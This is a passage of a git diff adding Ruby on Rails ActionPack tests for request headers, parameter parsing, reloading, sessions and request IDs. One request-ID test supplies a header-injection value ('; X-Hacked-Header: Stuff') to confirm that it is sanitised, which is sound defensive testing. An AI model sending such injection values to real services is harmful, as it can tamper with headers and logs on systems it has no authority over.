+ @env['HTTP_X_FORWARDED_HOST'] = "glu.ttono.us:80"
+ assert_equal "glu.ttono.us", @request.host_with_port
+ end
+
+ test "host with port if https standard port is specified" do
+ @env['HTTP_X_FORWARDED_PROTO'] = "https"
+ @env['HTTP_X_FORWARDED_HOST'] = "glu.ttono.us:443"
+ assert_equal "glu.ttono.us", @request.host_with_port
+ end
+
+ test "host if ipv6 reference" do
+ @env.delete "HTTP_X_FORWARDED_HOST"
+ @env['HTTP_HOST'] = "[2001:1234:5678:9abc:def0::dead:beef]"
+ assert_equal "[2001:1234:5678:9abc:def0::dead:beef]", @request.host
+ end
+
+ test "host if ipv6 reference with port" do
+ @env.delete "HTTP_X_FORWARDED_HOST"
+ @env['HTTP_HOST'] = "[2001:1234:5678:9abc:def0::dead:beef]:8008"
+ assert_equal "[2001:1234:5678:9abc:def0::dead:beef]", @request.host
+ end
+
+ test "cgi environment variables" do
+ assert_equal "Basic", @request.auth_type
+ assert_equal 0, @request.content_length
+ assert_equal nil, @request.content_mime_type
+ assert_equal "CGI/1.1", @request.gateway_interface
+ assert_equal "*/*", @request.accept
+ assert_equal "UTF-8", @request.accept_charset
+ assert_equal "gzip, deflate", @request.accept_encoding
+ assert_equal "en", @request.accept_language
+ assert_equal "no-cache, max-age=0", @request.cache_control
+ assert_equal "googlebot", @request.from
+ assert_equal "glu.ttono.us", @request.host
+ assert_equal "trans", @request.negotiate
+ assert_equal "no-cache", @request.pragma
+ assert_equal "http://www.google.com/search?q=glu.ttono.us", @request.referer
+ assert_equal "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)", @request.user_agent
+ assert_equal "/homepage/", @request.path_info
+ assert_equal "/home/kevinc/sites/typo/public/homepage/", @request.path_translated
+ assert_equal "", @request.query_string
+ assert_equal "207.7.108.53", @request.remote_addr
+ assert_equal "google.com", @request.remote_host
+ assert_equal "kevin", @request.remote_ident
+ assert_equal "kevin", @request.remote_user
+ assert_equal "GET", @request.request_method
+ assert_equal "/dispatch.fcgi", @request.script_name
+ assert_equal "glu.ttono.us", @request.server_name
+ assert_equal 8007, @request.server_port
+ assert_equal "HTTP/1.1", @request.server_protocol
+ assert_equal "lighttpd", @request.server_software
+ end
+
+ test "cookie syntax resilience" do
+ cookies = @request.cookies
+ assert_equal "c84ace84796670c052c6ceb2451fb0f2", cookies["_session_id"], cookies.inspect
+ assert_equal "yes", cookies["is_admin"], cookies.inspect
+
+ alt_cookies = @alt_cookie_fmt_request.cookies
+ #assert_equal "c84ace847,96670c052c6ceb2451fb0f2", alt_cookies["_session_id"], alt_cookies.inspect
+ assert_equal "yes", alt_cookies["is_admin"], alt_cookies.inspect
+ end
+end
+
+class RackRequestParamsParsingTest < BaseRackTest
+ test "doesnt break when content type has charset" do
+ set_content_data 'flamenco=love'
+
+ assert_equal({"flamenco"=> "love"}, @request.request_parameters)
+ end
+
+ test "doesnt interpret request uri as query string when missing" do
+ @request.env['REQUEST_URI'] = 'foo'
+ assert_equal({}, @request.query_parameters)
+ end
+end
+
+class RackRequestContentTypeTest < BaseRackTest
+ test "html content type verification" do
+ assert_deprecated do
+ @request.env['CONTENT_TYPE'] = Mime::HTML.to_s
+ assert @request.content_mime_type.verify_request?
+ end
+ end
+
+ test "xml content type verification" do
+ assert_deprecated do
+ @request.env['CONTENT_TYPE'] = Mime::XML.to_s
+ assert !@request.content_mime_type.verify_request?
+ end
+ end
+end
+
+class RackRequestNeedsRewoundTest < BaseRackTest
+ test "body should be rewound" do
+ data = 'foo'
+ @env['rack.input'] = StringIO.new(data)
+ @env['CONTENT_LENGTH'] = data.length
+ @env['CONTENT_TYPE'] = 'application/x-www-form-urlencoded; charset=utf-8'
+
+ # Read the request body by parsing params.
+ request = ActionDispatch::Request.new(@env)
+ request.request_parameters
+
+ # Should have rewound the body.
+ assert_equal 0, request.body.pos
+ end
+end
diff --git a/actionpack/test/dispatch/reloader_test.rb b/actionpack/test/dispatch/reloader_test.rb
new file mode 100644
index 0000000..ce9ccfc
--- /dev/null
+++ b/actionpack/test/dispatch/reloader_test.rb
@@ -0,0 +1,171 @@
+require 'abstract_unit'
+
+class ReloaderTest < ActiveSupport::TestCase
+ Reloader = ActionDispatch::Reloader
+
+ def test_prepare_callbacks
+ a = b = c = nil
+ Reloader.to_prepare { |*args| a = b = c = 1 }
+ Reloader.to_prepare { |*args| b = c = 2 }
+ Reloader.to_prepare { |*args| c = 3 }
+
+ # Ensure to_prepare callbacks are not run when defined
+ assert_nil a || b || c
+
+ # Run callbacks
+ call_and_return_body
+
+ assert_equal 1, a
+ assert_equal 2, b
+ assert_equal 3, c
+ end
+
+ class MyBody < Array
+ def initialize(&block)
+ @on_close = block
+ end
+
+ def foo
+ "foo"
+ end
+
+ def bar
+ "bar"
+ end
+
+ def close
+ @on_close.call if @on_close
+ end
+ end
+
+ def test_returned_body_object_always_responds_to_close
+ body = call_and_return_body
+ assert_respond_to body, :close
+ end
+
+ def test_returned_body_object_always_responds_to_close_even_if_called_twice
+ body = call_and_return_body
+ assert_respond_to body, :close
+ body.close
+
+ body = call_and_return_body
+ assert_respond_to body, :close
+ body.close
+ end
+
+ def test_condition_specifies_when_to_reload
+ i, j = 0, 0, 0, 0
+ Reloader.to_prepare { |*args| i += 1 }
+ Reloader.to_cleanup { |*args| j += 1 }
+ app = Reloader.new(lambda { |env| [200, {}, []] }, lambda { i < 3 })
+ 5.times do
+ resp = app.call({})
+ resp[2].close
+ end
+ assert_equal 3, i
+ assert_equal 3, j
+ end
+
+ def test_returned_body_object_behaves_like_underlying_object
+ body = call_and_return_body do
+ b = MyBody.new
+ b << "hello"
+ b << "world"
+ [200, { "Content-Type" => "text/html" }, b]
+ end
+ assert_equal 2, body.size
+ assert_equal "hello", body[0]
+ assert_equal "world", body[1]
+ assert_equal "foo", body.foo
+ assert_equal "bar", body.bar
+ end
+
+ def test_it_calls_close_on_underlying_object_when_close_is_called_on_body
+ close_called = false
+ body = call_and_return_body do
+ b = MyBody.new do
+ close_called = true
+ end
+ [200, { "Content-Type" => "text/html" }, b]
+ end
+ body.close
+ assert close_called
+ end
+
+ def test_returned_body_object_responds_to_all_methods_supported_by_underlying_object
+ body = call_and_return_body do
+ [200, { "Content-Type" => "text/html" }, MyBody.new]
+ end
+ assert_respond_to body, :size
+ assert_respond_to body, :each
+ assert_respond_to body, :foo
+ assert_respond_to body, :bar
+ end
+
+ def test_cleanup_callbacks_are_called_when_body_is_closed
+ cleaned = false
+ Reloader.to_cleanup { cleaned = true }
+
+ body = call_and_return_body
+ assert !cleaned
+
+ body.close
+ assert cleaned
+ end
+
+ def test_prepare_callbacks_arent_called_when_body_is_closed
+ prepared = false
+ Reloader.to_prepare { prepared = true }
+
+ body = call_and_return_body
+ prepared = false
+
+ body.close
+ assert !prepared
+ end
+
+ def test_manual_reloading
+ prepared = cleaned = false
+ Reloader.to_prepare { prepared = true }
+ Reloader.to_cleanup { cleaned = true }
+
+ Reloader.prepare!
+ assert prepared
+ assert !cleaned
+
+ prepared = cleaned = false
+ Reloader.cleanup!
+ assert !prepared
+ assert cleaned
+ end
+
+ def test_prepend_prepare_callback
+ i = 10
+ Reloader.to_prepare { i += 1 }
+ Reloader.to_prepare(:prepend => true) { i = 0 }
+
+ Reloader.prepare!
+ assert_equal 1, i
+ end
+
+ def test_cleanup_callbacks_are_called_on_exceptions
+ cleaned = false
+ Reloader.to_cleanup { cleaned = true }
+
+ begin
+ call_and_return_body do
+ raise "error"
+ end
+ rescue
+ end
+
+ assert cleaned
+ end
+
+ private
+ def call_and_return_body(&block)
+ @response ||= 'response'
+ @reloader ||= Reloader.new(block || proc {[200, {}, @response]})
+ @reloader.call({'rack.input' => StringIO.new('')})[2]
+ end
+end
diff --git a/actionpack/test/dispatch/request/json_params_parsing_test.rb b/actionpack/test/dispatch/request/json_params_parsing_test.rb
new file mode 100644
index 0000000..7d3fc84
--- /dev/null
+++ b/actionpack/test/dispatch/request/json_params_parsing_test.rb
@@ -0,0 +1,150 @@
+require 'abstract_unit'
+
+class JsonParamsParsingTest < ActionDispatch::IntegrationTest
+ class TestController < ActionController::Base
+ class << self
+ attr_accessor :last_request_parameters
+ end
+
+ def parse
+ self.class.last_request_parameters = request.request_parameters
+ head :ok
+ end
+ end
+
+ def teardown
+ TestController.last_request_parameters = nil
+ end
+
+ test "parses json params for application json" do
+ assert_parses(
+ {"person" => {"name" => "David"}},
+ "{\"person\": {\"name\": \"David\"}}", { 'CONTENT_TYPE' => 'application/json' }
+ )
+ end
+
+ test "parses json params for application jsonrequest" do
+ assert_parses(
+ {"person" => {"name" => "David"}},
+ "{\"person\": {\"name\": \"David\"}}", { 'CONTENT_TYPE' => 'application/jsonrequest' }
+ )
+ end
+
+ test "nils are stripped from collections" do
+ assert_parses(
+ {"person" => nil},
+ "{\"person\":[null]}", { 'CONTENT_TYPE' => 'application/json' }
+ )
+ assert_parses(
+ {"person" => ['foo']},
+ "{\"person\":[\"foo\",null]}", { 'CONTENT_TYPE' => 'application/json' }
+ )
+ assert_parses(
+ {"person" => nil},
+ "{\"person\":[null, null]}", { 'CONTENT_TYPE' => 'application/json' }
+ )
+ end
+
+ test "logs error if parsing unsuccessful" do
+ with_test_routing do
+ output = StringIO.new
+ json = "[\"person]\": {\"name\": \"David\"}}"
+ post "/parse", json, {'CONTENT_TYPE' => 'application/json', 'action_dispatch.show_exceptions' => true, 'action_dispatch.logger' => ActiveSupport::Logger.new(output)}
+ assert_response :error
+ output.rewind && err = output.read
+ assert err =~ /Error occurred while parsing request parameters/
+ end
+ end
+
+ test "occurring a parse error if parsing unsuccessful" do
+ with_test_routing do
+ begin
+ $stderr = StringIO.new # suppress the log
+ json = "[\"person]\": {\"name\": \"David\"}}"
+ exception = assert_raise(ActionDispatch::ParamsParser::ParseError) { post "/parse", json, {'CONTENT_TYPE' => 'application/json', 'action_dispatch.show_exceptions' => false} }
+ assert_equal MultiJson::DecodeError, exception.original_exception.class
+ assert_equal exception.original_exception.message, exception.message
+ ensure
+ $stderr = STDERR
+ end
+ end
+ end
+
+ private
+ def assert_parses(expected, actual, headers = {})
+ with_test_routing do
+ post "/parse", actual, headers
+ assert_response :ok
+ assert_equal(expected, TestController.last_request_parameters)
+ end
+ end
+
+ def with_test_routing
+ with_routing do |set|
+ set.draw do
+ post ':action', :to => ::JsonParamsParsingTest::TestController
+ end
+ yield
+ end
+ end
+end
+
+class RootLessJSONParamsParsingTest < ActionDispatch::IntegrationTest
+ class UsersController < ActionController::Base
+ wrap_parameters :format => :json
+
+ class << self
+ attr_accessor :last_request_parameters, :last_parameters
+ end
+
+ def parse
+ self.class.last_request_parameters = request.request_parameters
+ self.class.last_parameters = params
+ head :ok
+ end
+ end
+
+ def teardown
+ UsersController.last_request_parameters = nil
+ end
+
+ test "parses json params for application json" do
+ assert_parses(
+ {"user" => {"username" => "sikachu"}, "username" => "sikachu"},
+ "{\"username\": \"sikachu\"}", { 'CONTENT_TYPE' => 'application/json' }
+ )
+ end
+
+ test "parses json params for application jsonrequest" do
+ assert_parses(
+ {"user" => {"username" => "sikachu"}, "username" => "sikachu"},
+ "{\"username\": \"sikachu\"}", { 'CONTENT_TYPE' => 'application/jsonrequest' }
+ )
+ end
+
+ test "parses json with non-object JSON content" do
+ assert_parses(
+ {"user" => {"_json" => "string content" }, "_json" => "string content" },
+ "\"string content\"", { 'CONTENT_TYPE' => 'application/json' }
+ )
+ end
+
+ private
+ def assert_parses(expected, actual, headers = {})
+ with_test_routing(UsersController) do
+ post "/parse", actual, headers
+ assert_response :ok
+ assert_equal(expected, UsersController.last_request_parameters)
+ assert_equal(expected.merge({"action" => "parse"}), UsersController.last_parameters)
+ end
+ end
+
+ def with_test_routing(controller)
+ with_routing do |set|
+ set.draw do
+ post ':action', :to => controller
+ end
+ yield
+ end
+ end
+end
diff --git a/actionpack/test/dispatch/request/multipart_params_parsing_test.rb b/actionpack/test/dispatch/request/multipart_params_parsing_test.rb
new file mode 100644
index 0000000..3c30a70
--- /dev/null
+++ b/actionpack/test/dispatch/request/multipart_params_parsing_test.rb
@@ -0,0 +1,183 @@
+# encoding: utf-8
+require 'abstract_unit'
+
+class MultipartParamsParsingTest < ActionDispatch::IntegrationTest
+ class TestController < ActionController::Base
+ class << self
+ attr_accessor :last_request_parameters, :last_parameters
+ end
+
+ def parse
+ self.class.last_request_parameters = request.request_parameters
+ self.class.last_parameters = request.parameters
+ head :ok
+ end
+
+ def read
+ render :text => "File: #{params[:uploaded_data].read}"
+ end
+ end
+
+ FIXTURE_PATH = File.dirname(__FILE__) + '/../../fixtures/multipart'
+
+ def teardown
+ TestController.last_request_parameters = nil
+ end
+
+ test "parses single parameter" do
+ assert_equal({ 'foo' => 'bar' }, parse_multipart('single_parameter'))
+ end
+
+ test "parses bracketed parameters" do
+ assert_equal({ 'foo' => { 'baz' => 'bar'}}, parse_multipart('bracketed_param'))
+ end
+
+ test "parse single utf8 parameter" do
+ assert_equal({ 'Iñtërnâtiônàlizætiøn_name' => 'Iñtërnâtiônàlizætiøn_value'},
+ parse_multipart('single_utf8_param'), "request.request_parameters")
+ assert_equal(
+ 'Iñtërnâtiônàlizætiøn_value',
+ TestController.last_parameters['Iñtërnâtiônàlizætiøn_name'], "request.parameters")
+ end
+
+ test "parse bracketed utf8 parameter" do
+ assert_equal({ 'Iñtërnâtiônàlizætiøn_name' => {
+ 'Iñtërnâtiônàlizætiøn_nested_name' => 'Iñtërnâtiônàlizætiøn_value'} },
+ parse_multipart('bracketed_utf8_param'), "request.request_parameters")
+ assert_equal(
+ {'Iñtërnâtiônàlizætiøn_nested_name' => 'Iñtërnâtiônàlizætiøn_value'},
+ TestController.last_parameters['Iñtërnâtiônàlizætiøn_name'], "request.parameters")
+ end
+
+ test "parses text file" do
+ params = parse_multipart('text_file')
+ assert_equal %w(file foo), params.keys.sort
+ assert_equal 'bar', params['foo']
+
+ file = params['file']
+ assert_equal 'file.txt', file.original_filename
+ assert_equal "text/plain", file.content_type
+ assert_equal 'contents', file.read
+ end
+
+ test "parses boundary problem file" do
+ params = parse_multipart('boundary_problem_file')
+ assert_equal %w(file foo), params.keys.sort
+
+ file = params['file']
+ foo = params['foo']
+
+ assert_equal 'file.txt', file.original_filename
+ assert_equal "text/plain", file.content_type
+
+ assert_equal 'bar', foo
+ end
+
+ test "parses large text file" do
+ params = parse_multipart('large_text_file')
+ assert_equal %w(file foo), params.keys.sort
+ assert_equal 'bar', params['foo']
+
+ file = params['file']
+
+ assert_equal 'file.txt', file.original_filename
+ assert_equal "text/plain", file.content_type
+ assert_equal(('a' * 20480), file.read)
+ end
+
+ test "parses binary file" do
+ params = parse_multipart('binary_file')
+ assert_equal %w(file flowers foo), params.keys.sort
+ assert_equal 'bar', params['foo']
+
+ file = params['file']
+ assert_equal 'file.csv', file.original_filename
+ assert_nil file.content_type
+ assert_equal 'contents', file.read
+
+ file = params['flowers']
+ assert_equal 'flowers.jpg', file.original_filename
+ assert_equal "image/jpeg", file.content_type
+ assert_equal 19512, file.size
+ end
+
+ test "parses mixed files" do
+ params = parse_multipart('mixed_files')
+ assert_equal %w(files foo), params.keys.sort
+ assert_equal 'bar', params['foo']
+
+ # Rack doesn't handle multipart/mixed for us.
+ files = params['files']
+ files.force_encoding('ASCII-8BIT')
+ assert_equal 19756, files.size
+ end
+
+ test "does not create tempfile if no file has been selected" do
+ params = parse_multipart('none')
+ assert_equal %w(submit-name), params.keys.sort
+ assert_equal 'Larry', params['submit-name']
+ assert_equal nil, params['files']
+ end
+
+ test "parses empty upload file" do
+ params = parse_multipart('empty')
+ assert_equal %w(files submit-name), params.keys.sort
+ assert_equal 'Larry', params['submit-name']
+ assert params['files']
+ assert_equal "", params['files'].read
+ end
+
+ test "uploads and reads binary file" do
+ with_test_routing do
+ fixture = FIXTURE_PATH + "/mona_lisa.jpg"
+ params = { :uploaded_data => fixture_file_upload(fixture, "image/jpg") }
+ post '/read', params
+ end
+ end
+
+ test "uploads and reads file" do
+ with_test_routing do
+ post '/read', :uploaded_data => fixture_file_upload(FIXTURE_PATH + "/hello.txt", "text/plain")
+ assert_equal "File: Hello", response.body
+ end
+ end
+
+ # This can happen in Internet Explorer when redirecting after multipart form submit.
+ test "does not raise EOFError on GET request with multipart content-type" do
+ with_routing do |set|
+ set.draw do
+ get ':action', to: 'multipart_params_parsing_test/test'
+ end
+ headers = { "CONTENT_TYPE" => "multipart/form-data; boundary=AaB03x" }
+ get "/parse", {}, headers
+ assert_response :ok
+ end
+ end
+
+ private
+ def fixture(name)
+ File.open(File.join(FIXTURE_PATH, name), 'rb') do |file|
+ { "rack.input" => file.read,
+ "CONTENT_TYPE" => "multipart/form-data; boundary=AaB03x",
+ "CONTENT_LENGTH" => file.stat.size.to_s }
+ end
+ end
+
+ def parse_multipart(name)
+ with_test_routing do
+ headers = fixture(name)
+ post "/parse", headers.delete("rack.input"), headers
+ assert_response :ok
+ TestController.last_request_parameters
+ end
+ end
+
+ def with_test_routing
+ with_routing do |set|
+ set.draw do
+ post ':action', :to => 'multipart_params_parsing_test/test'
+ end
+ yield
+ end
+ end
+end
diff --git a/actionpack/test/dispatch/request/query_string_parsing_test.rb b/actionpack/test/dispatch/request/query_string_parsing_test.rb
new file mode 100644
index 0000000..f072a9f
--- /dev/null
+++ b/actionpack/test/dispatch/request/query_string_parsing_test.rb
@@ -0,0 +1,140 @@
+require 'abstract_unit'
+
+class QueryStringParsingTest < ActionDispatch::IntegrationTest
+ class TestController < ActionController::Base
+ class << self
+ attr_accessor :last_query_parameters
+ end
+
+ def parse
+ self.class.last_query_parameters = request.query_parameters
+ head :ok
+ end
+ end
+
+ def teardown
+ TestController.last_query_parameters = nil
+ end
+
+ test "query string" do
+ assert_parses(
+ {"action" => "create_customer", "full_name" => "David Heinemeier Hansson", "customerId" => "1"},
+ "action=create_customer&full_name=David%20Heinemeier%20Hansson&customerId=1"
+ )
+ end
+
+ test "deep query string" do
+ assert_parses(
+ {'x' => {'y' => {'z' => '10'}}},
+ "x[y][z]=10"
+ )
+ end
+
+ test "deep query string with array" do
+ assert_parses({'x' => {'y' => {'z' => ['10']}}}, 'x[y][z][]=10')
+ assert_parses({'x' => {'y' => {'z' => ['10', '5']}}}, 'x[y][z][]=10&x[y][z][]=5')
+ end
+
+ test "deep query string with array of hash" do
+ assert_parses({'x' => {'y' => [{'z' => '10'}]}}, 'x[y][][z]=10')
+ assert_parses({'x' => {'y' => [{'z' => '10', 'w' => '10'}]}}, 'x[y][][z]=10&x[y][][w]=10')
+ assert_parses({'x' => {'y' => [{'z' => '10', 'v' => {'w' => '10'}}]}}, 'x[y][][z]=10&x[y][][v][w]=10')
+ end
+
+ test "deep query string with array of hashes with one pair" do
+ assert_parses({'x' => {'y' => [{'z' => '10'}, {'z' => '20'}]}}, 'x[y][][z]=10&x[y][][z]=20')
+ end
+
+ test "deep query string with array of hashes with multiple pairs" do
+ assert_parses(
+ {'x' => {'y' => [{'z' => '10', 'w' => 'a'}, {'z' => '20', 'w' => 'b'}]}},
+ 'x[y][][z]=10&x[y][][w]=a&x[y][][z]=20&x[y][][w]=b'
+ )
+ end
+
+ test "query string with nil" do
+ assert_parses(
+ { "action" => "create_customer", "full_name" => ''},
+ "action=create_customer&full_name="
+ )
+ end
+
+ test "query string with array" do
+ assert_parses(
+ { "action" => "create_customer", "selected" => ["1", "2", "3"]},
+ "action=create_customer&selected[]=1&selected[]=2&selected[]=3"
+ )
+ end
+
+ test "query string with amps" do
+ assert_parses(
+ { "action" => "create_customer", "name" => "Don't & Does"},
+ "action=create_customer&name=Don%27t+%26+Does"
+ )
+ end
+
+ test "query string with many equal" do
+ assert_parses(
+ { "action" => "create_customer", "full_name" => "abc=def=ghi"},
+ "action=create_customer&full_name=abc=def=ghi"
+ )
+ end
+
+ test "query string without equal" do
+ assert_parses({"action" => nil}, "action")
+ assert_parses({"action" => {"foo" => nil}}, "action[foo]")
+ assert_parses({"action" => {"foo" => { "bar" => nil }}}, "action[foo][bar]")
+ assert_parses({"action" => {"foo" => { "bar" => nil }}}, "action[foo][bar][]")
+ assert_parses({"action" => {"foo" => nil }}, "action[foo][]")
+ assert_parses({"action"=>{"foo"=>[{"bar"=>nil}]}}, "action[foo][][bar]")
+ end
+
+ def test_array_parses_without_nil
+ assert_parses({"action" => ['1']}, "action[]=1&action[]")
+ end
+
+ test "query string with empty key" do
+ assert_parses(
+ { "action" => "create_customer", "full_name" => "David Heinemeier Hansson" },
+ "action=create_customer&full_name=David%20Heinemeier%20Hansson&=Save"
+ )
+ end
+
+ test "query string with many ampersands" do
+ assert_parses(
+ { "action" => "create_customer", "full_name" => "David Heinemeier Hansson"},
+ "&action=create_customer&&&full_name=David%20Heinemeier%20Hansson"
+ )
+ end
+
+ test "unbalanced query string with array" do
+ assert_parses(
+ {'location' => ["1", "2"], 'age_group' => ["2"]},
+ "location[]=1&location[]=2&age_group[]=2"
+ )
+ end
+
+ test "ambiguous query string returns a bad request" do
+ with_routing do |set|
+ set.draw do
+ get ':action', :to => ::QueryStringParsingTest::TestController
+ end
+
+ get "/parse", nil, "QUERY_STRING" => "foo[]=bar&foo[4]=bar"
+ assert_response :bad_request
+ end
+ end
+
+ private
+ def assert_parses(expected, actual)
+ with_routing do |set|
+ set.draw do
+ get ':action', :to => ::QueryStringParsingTest::TestController
+ end
+
+ get "/parse", actual
+ assert_response :ok
+ assert_equal(expected, ::QueryStringParsingTest::TestController.last_query_parameters)
+ end
+ end
+end
diff --git a/actionpack/test/dispatch/request/session_test.rb b/actionpack/test/dispatch/request/session_test.rb
new file mode 100644
index 0000000..1517f96
--- /dev/null
+++ b/actionpack/test/dispatch/request/session_test.rb
@@ -0,0 +1,73 @@
+require 'abstract_unit'
+require 'action_dispatch/middleware/session/abstract_store'
+
+module ActionDispatch
+ class Request
+ class SessionTest < ActiveSupport::TestCase
+ def test_create_adds_itself_to_env
+ env = {}
+ s = Session.create(store, env, {})
+ assert_equal s, env[Rack::Session::Abstract::ENV_SESSION_KEY]
+ end
+
+ def test_to_hash
+ env = {}
+ s = Session.create(store, env, {})
+ s['foo'] = 'bar'
+ assert_equal 'bar', s['foo']
+ assert_equal({'foo' => 'bar'}, s.to_hash)
+ end
+
+ def test_create_merges_old
+ env = {}
+ s = Session.create(store, env, {})
+ s['foo'] = 'bar'
+
+ s1 = Session.create(store, env, {})
+ assert_not_equal s, s1
+ assert_equal 'bar', s1['foo']
+ end
+
+ def test_find
+ env = {}
+ assert_nil Session.find(env)
+
+ s = Session.create(store, env, {})
+ assert_equal s, Session.find(env)
+ end
+
+ def test_keys
+ env = {}
+ s = Session.create(store, env, {})
+ s['rails'] = 'ftw'
+ s['adequate'] = 'awesome'
+ assert_equal %w[rails adequate], s.keys
+ end
+
+ def test_values
+ env = {}
+ s = Session.create(store, env, {})
+ s['rails'] = 'ftw'
+ s['adequate'] = 'awesome'
+ assert_equal %w[ftw awesome], s.values
+ end
+
+ def test_clear
+ env = {}
+ s = Session.create(store, env, {})
+ s['rails'] = 'ftw'
+ s['adequate'] = 'awesome'
+ s.clear
+ assert_equal([], s.values)
+ end
+
+ private
+ def store
+ Class.new {
+ def load_session(env); [1, {}]; end
+ def session_exists?(env); true; end
+ }.new
+ end
+ end
+ end
+end
diff --git a/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb b/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb
new file mode 100644
index 0000000..9169658
--- /dev/null
+++ b/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb
@@ -0,0 +1,178 @@
+require 'abstract_unit'
+
+class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
+ class TestController < ActionController::Base
+ class << self
+ attr_accessor :last_request_parameters, :last_request_type
+ end
+
+ def parse
+ self.class.last_request_parameters = request.request_parameters
+ head :ok
+ end
+ end
+
+ def teardown
+ TestController.last_request_parameters = nil
+ end
+
+ test "parses unbalanced query string with array" do
+ assert_parses(
+ {'location' => ["1", "2"], 'age_group' => ["2"]},
+ "location[]=1&location[]=2&age_group[]=2"
+ )
+ end
+
+ test "parses nested hash" do
+ query = [
+ "note[viewers][viewer][][type]=User",
+ "note[viewers][viewer][][id]=1",
+ "note[viewers][viewer][][type]=Group",
+ "note[viewers][viewer][][id]=2"
+ ].join("&")
+
+ expected = { "note" => { "viewers"=>{"viewer"=>[{ "id"=>"1", "type"=>"User"}, {"type"=>"Group", "id"=>"2"} ]} } }
+ assert_parses(expected, query)
+ end
+
+ test "parses more complex nesting" do
+ query = [
+ "customers[boston][first][name]=David",
+ "customers[boston][first][url]=http://David",
+ "customers[boston][second][name]=Allan",
+ "customers[boston][second][url]=http://Allan",
+ "something_else=blah",
+ "something_nil=",
+ "something_empty=",
+ "products[first]=Apple Computer",
+ "products[second]=Pc",
+ "=Save"
+ ].join("&")
+
+ expected = {
+ "customers" => {
+ "boston" => {
+ "first" => {
+ "name" => "David",
+ "url" => "http://David"
+ },
+ "second" => {
+ "name" => "Allan",
+ "url" => "http://Allan"
+ }
+ }
+ },
+ "something_else" => "blah",
+ "something_empty" => "",
+ "something_nil" => "",
+ "products" => {
+ "first" => "Apple Computer",
+ "second" => "Pc"
+ }
+ }
+
+ assert_parses expected, query
+ end
+
+ test "parses params with array" do
+ query = "selected[]=1&selected[]=2&selected[]=3"
+ expected = { "selected" => [ "1", "2", "3" ] }
+ assert_parses expected, query
+ end
+
+ test "parses params with nil key" do
+ query = "=&test2=value1"
+ expected = { "test2" => "value1" }
+ assert_parses expected, query
+ end
+
+ test "parses params with array prefix and hashes" do
+ query = "a[][b][c]=d"
+ expected = {"a" => [{"b" => {"c" => "d"}}]}
+ assert_parses expected, query
+ end
+
+ test "parses params with complex nesting" do
+ query = "a[][b][c][][d][]=e"
+ expected = {"a" => [{"b" => {"c" => [{"d" => ["e"]}]}}]}
+ assert_parses expected, query
+ end
+
+ test "parses params with file path" do
+ query = [
+ "customers[boston][first][name]=David",
+ "something_else=blah",
+ "logo=#{File.expand_path(__FILE__)}"
+ ].join("&")
+
+ expected = {
+ "customers" => {
+ "boston" => {
+ "first" => {
+ "name" => "David"
+ }
+ }
+ },
+ "something_else" => "blah",
+ "logo" => File.expand_path(__FILE__),
+ }
+
+ assert_parses expected, query
+ end
+
+ test "parses params with Safari 2 trailing null character" do
+ query = "selected[]=1&selected[]=2&selected[]=3\0"
+ expected = { "selected" => [ "1", "2", "3" ] }
+ assert_parses expected, query
+ end
+
+ test "ambiguous params returns a bad request" do
+ with_routing do |set|
+ set.draw do
+ post ':action', :to => ::UrlEncodedParamsParsingTest::TestController
+ end
+
+ post "/parse", "foo[]=bar&foo[4]=bar"
+ assert_response :bad_request
+ end
+ end
+
+ private
+ def with_test_routing
+ with_routing do |set|
+ set.draw do
+ post ':action', :to => ::UrlEncodedParamsParsingTest::TestController
+ end
+ yield
+ end
+ end
+
+ def assert_parses(expected, actual)
+ with_test_routing do
+ post "/parse", actual
+ assert_response :ok
+ assert_equal(expected, TestController.last_request_parameters)
+ assert_utf8(TestController.last_request_parameters)
+ end
+ end
+
+ def assert_utf8(object)
+ correct_encoding = Encoding.default_internal
+
+ unless object.is_a?(Hash)
+ assert_equal correct_encoding, object.encoding, "#{object.inspect} should have been UTF-8"
+ return
+ end
+
+ object.each_value do |v|
+ case v
+ when Hash
+ assert_utf8(v)
+ when Array
+ v.each {|el| assert_utf8(el) }
+ else
+ assert_utf8(v)
+ end
+ end
+ end
+end
diff --git a/actionpack/test/dispatch/request_id_test.rb b/actionpack/test/dispatch/request_id_test.rb
new file mode 100644
index 0000000..a8050b4
--- /dev/null
+++ b/actionpack/test/dispatch/request_id_test.rb
@@ -0,0 +1,65 @@
+require 'abstract_unit'
+
+class RequestIdTest < ActiveSupport::TestCase
+ test "passing on the request id from the outside" do
+ assert_equal "external-uu-rid", stub_request('HTTP_X_REQUEST_ID' => 'external-uu-rid').uuid
+ end
+
+ test "ensure that only alphanumeric uurids are accepted" do
+ assert_equal "X-Hacked-HeaderStuff", stub_request('HTTP_X_REQUEST_ID' => '; X-Hacked-Header: Stuff').uuid
+ end
+
+ test "ensure that 255 char limit on the request id is being enforced" do
+ assert_equal "X" * 255, stub_request('HTTP_X_REQUEST_ID' => 'X' * 500).uuid
+ end
+
+ test "generating a request id when none is supplied" do
+ assert_match(/\w+-\w+-\w+-\w+-\w+/, stub_request.uuid)
+ end
+
+ private
+
+ def stub_request(env = {})
+ ActionDispatch::RequestId.new(lambda { |environment| [ 200, environment, [] ] }).call(env)
+ ActionDispatch::Request.new(env)
+ end
+end
+
+class RequestIdResponseTest < ActionDispatch::IntegrationTest
+ class TestController < ActionController::Base
+ def index
+ head :ok
+ end
+ end
+
+ test "request id is passed all the way to the response" do
+ with_test_route_set do
+ get '/'
+ assert_match(/\w+/, @response.headers["X-Request-Id"])
+ end
+ end
+
+ test "request id given on request is passed all the way to the response" do
+ with_test_route_set do
+ get '/', {}, 'HTTP_X_REQUEST_ID' => 'X' * 500
+ assert_equal "X" * 255, @response.headers["X-Request-Id"]
+ end
+ end
+
+
+ private
+
+ def with_test_route_set
+ with_routing do |set|
+ set.draw do
+ get '/', :to => ::RequestIdResponseTest::TestController.action(:index)
+ end
+
+ @app = self.class.build_app(set) do |middleware|
+ middleware.use ActionDispatch::RequestId
+ end
+
+ yield
+ end
+ end
+end
diff --git a/actionpack/test/dispatch/request_test.rb b/actionpack/test/dispatch/request_test.rb
new file mode 100644
index 0000000..f6de974
--- /dev/null
+++ b/actionpack/test/dispatch/request_test.rb
@@ -0,0 +1,850 @@
+require 'abstract_unit'
+
+class RequestTest < ActiveSupport::TestCase
+
+ def url_for(options = {})
+ options = { host: 'www.example.com' }.merge!(options)
